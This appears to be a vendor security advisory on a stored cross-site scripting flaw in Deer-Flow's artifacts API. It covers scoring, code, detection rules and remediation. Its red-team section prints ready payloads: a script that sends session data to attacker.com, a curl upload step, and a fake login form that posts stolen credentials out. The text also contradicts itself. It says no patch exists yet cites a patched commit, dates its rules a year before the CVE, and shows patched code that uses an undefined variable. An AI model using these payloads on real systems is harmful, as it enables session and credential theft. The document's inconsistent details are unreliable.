CVE-2026-32859

Executive Summary

CVE-2026-32859 is a stored cross-site scripting (XSS) vulnerability in ByteDance Deer-Flow, a workflow orchestration platform. The flaw resides in the artifacts API, where attackers with authenticated access can upload malicious HTML or script content as artifacts. When other users view these artifacts, the injected payload executes in their browser context, enabling session compromise, credential theft, and arbitrary script execution. The vulnerability affects all versions prior to commit 5dbb362. No official patch has been released, and no public exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for lateral movement and data exfiltration.

Supply Chain & Package Security

Deer-Flow is a Java-based application distributed via GitHub and Maven. Organizations using Deer-Flow should verify their deployment version against the vulnerable commit. If the application is pulled from public registries, ensure the artifact is from a trusted source and verify checksums. No known malicious packages have been reported, but supply chain risks exist if dependencies are compromised.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs authenticated access to upload artifacts.
• User Interaction (UI): Required – Victim must view the malicious artifact.
• Scope (S): Changed – Impact extends beyond the vulnerable component.
• Confidentiality (C): High – Potential for credential theft and session hijacking.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature allows persistent attacks against multiple users, increasing the risk in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability exists in the artifacts API endpoint, which allows authenticated users to upload files as artifacts associated with workflow runs. The application fails to sanitize or validate the content type or payload of uploaded files. When a user views an artifact (e.g., via a web interface), the file is served with a Content-Type that allows HTML rendering (e.g., text/html or application/octet-stream with browser MIME sniffing). An attacker can upload a file containing JavaScript, which executes in the context of the Deer-Flow application domain.

Attack Flow:

1. Attacker authenticates to Deer-Flow.
2. Attacker uploads a malicious HTML file (e.g., exploit.html) containing JavaScript payload (e.g., session cookie theft).
3. Victim navigates to the artifact view page and clicks on the malicious file.
4. The browser renders the HTML, executing the JavaScript.
5. Payload steals session cookies, exfiltrates data, or performs actions on behalf of the victim.

Root Cause: Lack of input validation and improper Content-Type enforcement for uploaded artifacts. The application does not sanitize file content or restrict MIME types to safe formats (e.g., plain text, images).

Vulnerable vs. Patched Code

Vulnerable Code (prior to commit 5dbb362):

// ArtifactController.java
@PostMapping("/api/artifacts")
public ResponseEntity<String> uploadArtifact(@RequestParam("file") MultipartFile file) {
    // No content validation
    String filename = file.getOriginalFilename();
    // Store file directly
    artifactService.store(file, filename);
    return ResponseEntity.ok("Uploaded");
}

@GetMapping("/api/artifacts/{id}")
public ResponseEntity<Resource> getArtifact(@PathVariable Long id) {
    Resource resource = artifactService.load(id);
    // Serves file with original content type
    return ResponseEntity.ok()
        .contentType(MediaType.parseMediaType("application/octet-stream"))
        .body(resource);
}

Patched Code (commit 5dbb362):

// ArtifactController.java
@PostMapping("/api/artifacts")
public ResponseEntity<String> uploadArtifact(@RequestParam("file") MultipartFile file) {
    // Validate file content type
    String contentType = file.getContentType();
    if (!allowedContentTypes.contains(contentType)) {
        return ResponseEntity.badRequest().body("Invalid content type");
    }
    // Sanitize file content (e.g., strip scripts)
    byte[] sanitized = sanitizeHtml(file.getBytes());
    artifactService.store(sanitized, filename);
    return ResponseEntity.ok("Uploaded");
}

@GetMapping("/api/artifacts/{id}")
public ResponseEntity<Resource> getArtifact(@PathVariable Long id) {
    Resource resource = artifactService.load(id);
    // Force safe content type
    return ResponseEntity.ok()
        .contentType(MediaType.TEXT_PLAIN)
        .header("Content-Disposition", "attachment; filename=\"" + resource.getFilename() + "\"")
        .body(resource);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Deer-Flow instance (authenticated user).
• Ability to upload artifacts.

Exploit Steps:

1. Create a malicious HTML file (payload.html):

<html>
<body>
<script>
fetch('/api/session').then(r => r.text()).then(data => {
    fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));
});
</script>
</body>
</html>

2. Upload the file via the artifacts API:

curl -X POST -u user:pass -F "file=@payload.html" https://deer-flow.example.com/api/artifacts

3. Obtain the artifact ID from the response.
4. Send the artifact URL to the victim (e.g., via social engineering):

https://deer-flow.example.com/api/artifacts/123

5. When the victim views the artifact, the script executes and exfiltrates session data.

Advanced Payload: Use a keylogger or perform actions on behalf of the victim:

// Steal credentials via fake login form
document.body.innerHTML = '<form id="login" action="/login" method="POST">' +
    '<input name="username"><input name="password" type="password">' +
    '<button>Login</button></form>';
document.getElementById('login').onsubmit = function(e) {
    e.preventDefault();
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: new FormData(this)
    });
};

Blue Team

Detection Steps:

1. Monitor for unusual artifact uploads with HTML/JavaScript content.
2. Check server logs for POST /api/artifacts with suspicious file extensions (.html, .js, .svg).
3. Review artifact access logs for anomalous patterns (e.g., rapid access to multiple artifacts).
4. Use WAF rules to block uploads of HTML files to the artifacts endpoint.

Hunting Query (Splunk):

index=deerflow sourcetype=access_log
| search method=POST uri=/api/artifacts
| rex field=uri "filename=(?<filename>[^&]+)"
| search filename IN (*.html, *.js, *.svg)
| stats count by src_ip, filename, _time

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled domains (e.g., attacker.com).
• Unusual POST requests to /api/artifacts with Content-Type: text/html.

File IOCs:

• Artifact files with .html, .js, or .svg extensions containing JavaScript.
• Files with suspicious content like document.cookie, fetch, or XMLHttpRequest.

Behavioral IOCs:

• Multiple failed login attempts followed by artifact uploads.
• Artifact access from IPs not associated with normal workflow users.

Detection Engineering

YARA Rule

rule CVE_2026_32859_Stored_XSS {
    meta:
        description = "Detects malicious HTML artifacts uploaded to Deer-Flow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-32859"
    strings:
        $html_tag = "<html" nocase
        $script_tag = "<script" nocase
        $js_payload = /(document\.cookie|fetch\(|XMLHttpRequest|eval\(|fromCharCode)/
    condition:
        $html_tag and $script_tag and $js_payload
}

Sigma Rule

title: Deer-Flow Stored XSS Artifact Upload
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects upload of HTML files to Deer-Flow artifacts API
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: deerflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/artifacts'
        cs-uri-query|contains: '.html'
    condition: selection
falsepositives:
    - Legitimate HTML documentation uploads
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-32859 Deer-Flow Stored XSS Artifact Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/artifacts"; http_uri; content:".html"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to patched version: Apply commit 5dbb362 or later.
2. Restrict artifact uploads: Limit upload permissions to trusted users only.
3. Implement Content-Type validation: Reject uploads with text/html or application/javascript.
4. Force download behavior: Set Content-Disposition: attachment for all artifact downloads.
5. Sanitize uploaded files: Strip script tags and event handlers from HTML content.

Long-term Measures:

• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
• Conduct regular security audits of file upload functionality.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use antivirus/antimalware scanning on uploaded files.

Workaround (if patching is not possible):

• Disable the artifacts API endpoint temporarily.
• Use a reverse proxy to inspect and block malicious uploads.
• Educate users to avoid viewing artifacts from untrusted sources.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 5F772F3A4FD3992E182FBB54] */}